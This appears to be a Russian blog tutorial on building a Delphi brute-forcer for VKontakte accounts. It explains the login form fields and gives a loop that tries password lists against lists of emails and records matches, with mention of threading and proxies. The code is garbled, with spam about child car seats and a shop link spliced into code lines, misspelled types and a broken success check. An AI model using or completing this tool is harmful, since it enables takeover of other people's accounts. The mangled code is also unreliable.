Что ж прежде, чем приступить к изложению своих мыслей по теме, оговорюсь, что вся представленная информация является следствием природного любопытства и никакого злого умысла в себе не несет. Использовать ее вы можете лишь на свой страх и риск, я за это никакой ответственности ни несу, просто делюсь опытом.

Вообще, на реализацию основного программного кода у меня ушло от силы 30 минут, остальные же полтора часа я убил на разработку красивого GUI, обработку в фотошопе логотипа в «контакте» и прочую мишуру… =) И так, это не учебник для начинающих и описывать пошаговые действия я не буду, лишь расскажу общую концепцию действий и приведу программный код. Статья расчита на то, что вы владеете основными навыками написаний приложений в среде Delphi и хотя бы как то знакомы с принципами взаимодействия Делфи-Интернет.

Как известно брут это тупой подбор пароля, либо по словарю, либо вообще случайным образом. Соответственно, каким образом можно осуществить подбор пароля к сайту Вконтакте, а для начала – что нам понадобится? Авторизация на сайте происходит по средствам ввода e-mail адреса и пароля, значит, у нас должно быть: список e-mail адресов (любой - в контакте больше 10 миллионов пользователей и любой список, даже двух летней давности скорей всего даст результат), к этим адресам мы будем подбирать пароли, и, собственно, сам список паролей либо просто один распространенный пароль (например «qwerty» или «123456»).

Отлично. Теперь разберем план действий, который в принципе просто элементарен. Просмотрев HTML код главной страницы в контакте можно выяснить следующее:

  • Введенные e-mail и пароль отправляются скрипту login.php методом POST
  • В пост запросе e-mail содержится в поле «email»
  • В пост запросе пароль содержится в поле «pass»
  • После получения запроса скрипт login.php проверяет данные и загружает соответствующую страницу профиля, либо страницу ошибки, если e-mail или пароль не верные.

В итоге нам нужно реализовать следующий алгоритм:

Блок схема алгоритма брутера

По данной схеме: «Действие 1» – действие в случае если пара логин/пароль подошла (то есть удачно подобрали), «Действие 2» – соответственно наоборот, не подошла.

Условие «подошло?» подразумевает проверку ответа сервера, я не придумал ничего умнее кроме как искать в ответе (сервер «отвечает» HTML код страницы) строку «<title>В Контакте | Вход</title>», то есть если сервер опять отправил нас на страницу входа, то значит пара логин/пароль не подошла, соответственно если этой строки нет – поздравляю мы вошли в чей-то аккаунт!

Приступим непосредственно к кодингу. Для работы с HTTP протоколом я выбрал компоненты Indy (класс TidHTTP), конечно это не лучший вариант, можно было использовать сокеты, но что уж поделаешь лентяй я… )))

В моем примере:

  • Emails – объект TStringList, содержит список мыл
  • Pass - – объект TStringList, содержит список паролей

Код:

procedure Brute();
var
  emails:TStingList;  // список мыл
  pass:TStingList;    // список паролей
  post:TStingList;    // список полей пост запроса
  i,j:integer;           // счетчики циклов
begin
 email:=TStringList.Create; pass:=TStringList.Create;  // Инициализируем переменные
  // ================================================
  // тут заполняем мыла и пароли, а лучше грузим из файла
  // ================================================
  http:=TidHTTP.Create(nil);      // создаем HTTPClient
  http.HandleRedirects автокресло kiddy infinity pro 2009, Детское автокресло kiddy infinity pro :=true;   // это необходимо
  post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
  for i:=0 to emails.Count-1 do begin   // перебираем в цикле мыльники
    post.Clear;    // отчищаем
    post.Add('email='+emails.Strings[i]);    // указываем e-mail
    for j:=0 to pass.Count-1 do begin         // перебираем пароли для выбранного мыльника
      post.Add('pass='+pass.Strings[j]);       // указываем пароль
      result: http://bebiki.ru/katalog/products/vannochki/cam-stol-dlja-pelenanija-nuvola =http.Post('/',post);  // посылаем запрос
      if pos('',result)>;0 then  // проверяем ответ
        // неудачно подобрали. какое то действие
      else
        //  удачно подобрали. какое то действие, например записать в файл пару мыло/пароль
    end;
  end;
 
  // освободим переменные
  emails.Free;
  pass.Free;
  http.Free;
  post.Free;
end;

Конечно, это просто кусок основного кода, но я подробного расписал алгоритм и человеку с руками ничего не стоит доделать это все до «нормального» вида, прикрутить потоки и т.д.

В конечном итоге, помимо потоков в моем варианте я добавил еще и работу через прокси-сервер, выглядит это так:

Резкльтат работы

Приятного кодинга! И не забывайте про УК РФ, все-таки «контакт» довольно крупный, и к тому же российский ресурс! =)